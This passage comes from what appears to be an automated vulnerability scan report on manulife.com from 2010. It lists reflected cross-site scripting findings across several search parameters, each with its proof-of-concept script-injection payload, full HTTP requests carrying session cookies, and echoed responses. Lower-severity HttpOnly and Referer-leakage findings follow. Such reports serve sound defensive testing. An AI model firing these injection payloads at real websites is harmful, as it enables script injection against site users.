Expires: Fri, 31 Dec 2010 17:32:11 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
f="http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0f3e62"><script>alert(1)</script>b52561874a7&header_search_button.y=0&q=%27" >
...[SNIP]...

1.23. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [header_search_button.y parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of the header_search_button.y request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d914c"><script>alert(1)</script>6706ab58ec6 was submitted in the header_search_button.y parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0d914c"><script>alert(1)</script>6706ab58ec6&q=%27 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:21:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:32:17 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
m/public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0d914c"><script>alert(1)</script>6706ab58ec6&q=%27" >
...[SNIP]...

1.24. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [hl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of the hl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9070b"><script>alert(1)</script>672a89bfbe7 was submitted in the hl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr9070b"><script>alert(1)</script>672a89bfbe7&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:59 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en9070b"><script>alert(1)</script>672a89bfbe7&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.25. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [ie parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of the ie request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2df37"><script>alert(1)</script>882e57e73d3 was submitted in the ie parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-82df37"><script>alert(1)</script>882e57e73d3&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:46 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-82df37"><script>alert(1)</script>882e57e73d3&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.26. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [lang parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53b62"><script>alert(1)</script>94b14d1da4a was submitted in the lang parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=153b62"><script>alert(1)</script>94b14d1da4a&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:32:06 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=153b62"><script>alert(1)</script>94b14d1da4a&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.27. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45371"><script>alert(1)</script>abc2e85156b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?45371"><script>alert(1)</script>abc2e85156b=1 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:32:04 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html?45371"><script>alert(1)</script>abc2e85156b=1" >
...[SNIP]...

1.28. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db25a"><script>alert(1)</script>636287b340d was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27db25a"><script>alert(1)</script>636287b340d HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:21:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:32:23 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
ic/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27db25a"><script>alert(1)</script>636287b340d" >
...[SNIP]...

1.29. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [site parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of the site request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14339"><script>alert(1)</script>287d57864d6 was submitted in the site parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com14339"><script>alert(1)</script>287d57864d6&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:53 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com14339"><script>alert(1)</script>287d57864d6&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://www.manulife.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.manulife.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Manulife+Financial
X-Purpose: prefetch
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 301 Moved Permanently
Date: Fri, 31 Dec 2010 17:17:20 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: /public/home/index/0,,lang=en,00.html
Content-Length: 0
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; path=/
Cache-control: private


2.2. http://www.manulife.com/public/common/include/stock  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.manulife.com
Path:   /public/common/include/stock

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /public/common/include/stock?lang=en HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:17:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; path=/
Cache-control: private

<!-- Vignette V6 Fri Dec 31 12:17:24 2010 -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 6 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://www.manulife.com/public/about/index/0,,lang=en&navId=610005,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/about/index/0,,lang=en&navId=610005,00.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /public/about/index/0,,lang=en&navId=610005,00.html?utm_source=feature_left&utm_medium=site&utm_content=governance&utm_campaign=Homepage_features HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link re
...[SNIP]...
</script>
           <a href="http://www.addthis.com/bookmark.php?v=250" onclick="return addthis_open(this, '', '[URL]', '[TITLE]')" onmouseout="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/static/btn/lg-bookmark-en.gif" width="125" height="16" alt="Bookmark and Share" style="border:0;float:right;"/></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=manulife"></script>
...[SNIP]...
<li><a href="http://www.sedi.ca/" target="blank">Insider Trading Reports</a>
...[SNIP]...

3.2. http://www.manulife.com/public/about/index/0,,lang=en&navId=610016,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/about/index/0,,lang=en&navId=610016,00.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /public/about/index/0,,lang=en&navId=610016,00.html?utm_source=feature_right&utm_medium=site&utm_content=PAS&utm_campaign=Homepage_features HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link re
...[SNIP]...
</script>
           <a href="http://www.addthis.com/bookmark.php?v=250" onclick="return addthis_open(this, '', '[URL]', '[TITLE]')" onmouseout="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/static/btn/lg-bookmark-en.gif" width="125" height="16" alt="Bookmark and Share" style="border:0;float:right;"/></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=manulife"></script>
...[SNIP]...

3.3. http://www.manulife.com/public/about/index/0,,lang=en&navId=610034,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/about/index/0,,lang=en&navId=610034,00.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /public/about/index/0,,lang=en&navId=610034,00.html?utm_source=feature_right&utm_medium=site&utm_content=adcampaign&utm_campaign=Homepage_features HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:03 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link re
...[SNIP]...
</script>
           <a href="http://www.addthis.com/bookmark.php?v=250" onclick="return addthis_open(this, '', '[URL]', '[TITLE]')" onmouseout="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/static/btn/lg-bookmark-en.gif" width="125" height="16" alt="Bookmark and Share" style="border:0;float:right;"/></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=manulife"></script>
...[SNIP]...

3.4. http://www.manulife.com/public/investor/index/0,,lang=en&navId=640003,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/investor/index/0,,lang=en&navId=640003,00.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /public/investor/index/0,,lang=en&navId=640003,00.html?utm_source=feature_right&utm_medium=site&utm_content=Q3&utm_campaign=Homepage_features HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link re
...[SNIP]...
</script>
           <a href="http://www.addthis.com/bookmark.php?v=250" onclick="return addthis_open(this, '', '[URL]', '[TITLE]')" onmouseout="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/static/btn/lg-bookmark-en.gif" width="125" height="16" alt="Bookmark and Share" style="border:0;float:right;"/></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=manulife"></script>
...[SNIP]...
</strong> on the morning of Thursday, November 4, 2010 followed by a live..<a href="http://www.gowebcasting.com/2042">Webcast</a>
...[SNIP]...
</span>Please ensure that you have the latest version of <a href="http://www.adobe.com/products/acrobat/readstep.html" target="_blank">Adobe Acrobat</a>
...[SNIP]...
</span>Please ensure that you have the latest version of <a href="http://www.adobe.com/products/acrobat/readstep.html" target="_blank">Adobe Acrobat</a>
...[SNIP]...

3.5. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
